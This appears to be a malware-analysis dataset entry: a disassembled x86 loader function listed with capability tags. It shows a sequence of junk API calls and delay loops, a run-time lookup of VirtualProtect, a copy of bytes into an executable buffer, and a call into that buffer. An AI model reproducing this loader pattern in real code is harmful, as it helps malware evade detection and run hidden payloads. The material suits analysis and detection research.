Function at 0x401246
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Read file on windows
Set environment variable
Set registry value

Disassembly:
mov eax, 0x43046a
call fcn.0042f6cc
sub esp, 0x834
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x401274
inc esi
cmp esi, 0x67d12
jl 0x40125d
cmp dword [0x2453c5c], 0x93
jne 0x401333
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
lock bts dword [eax], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push ebx
lea eax, [ebp - 0x840]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push str.jixepeducane
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x40], bl
call fcn.004025c0
pop ecx
lea ecx, [ebp - 0x40]
call fcn.00401628
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.004029ed
push ebx
push ebx
call fcn.00402748
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], 0x433224
call fcn.00401f8f
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.00401feb
push ebx
push ebx
call fcn.00401ef0
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x40]
call fcn.004015f0
mov eax, dword [0x436670]
add dword [0x2453c5c], 0x1134b
push str.kernel32.dll
mov dword [0x2454a98], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualProtect
push eax
mov dword [0x24536ec], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2453c5c]
mov dword [0x24536e0], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x2453c5c]
mov dword [0x24536e8], eax
push eax
call dword [0x24536e0]
xor esi, esi
cmp esi, 0xacc
jge 0x4013a5
push ebx
call dword [sym.imp.USER32.dll_SetClipboardViewer]
push ebx
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, 0x45be411
jg 0x4013bf
inc esi
cmp esi, 0x3330601
jl 0x40138f
mov esi, 0x1692e
push ebx
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x4013c4
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x2453c5c], ebx
jbe 0x401441
mov eax, dword [0x2454a98]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x24536e8]
mov byte [ecx + esi], al
cmp dword [0x2453c5c], 0x490
jne 0x401438
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push ebx
call edi
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc esi
cmp esi, dword [0x2453c5c]
jb 0x4013ef
xor esi, esi
mov eax, dword [0x2453c5c]
add eax, esi
cmp eax, 0x8d
jne 0x40147c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetMenu]
push str.Mul_nop_golinufarohiwif
push str.Sahikuxuyewa_wagivasixuvocut
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc esi
cmp esi, 0x38681
jl 0x401443
call fcn.00401184
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x4014ab
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x24536e8], eax
inc esi
cmp esi, 0x674bd
jl 0x40148c
push 0x7b
pop esi
cmp dword [0x2453c5c], 0x86
jne 0x4014f1
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadHugeReadPtr]
dec esi
jne 0x4014b7
push str.msimg32.dll
call edi
call dword [0x24536e8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret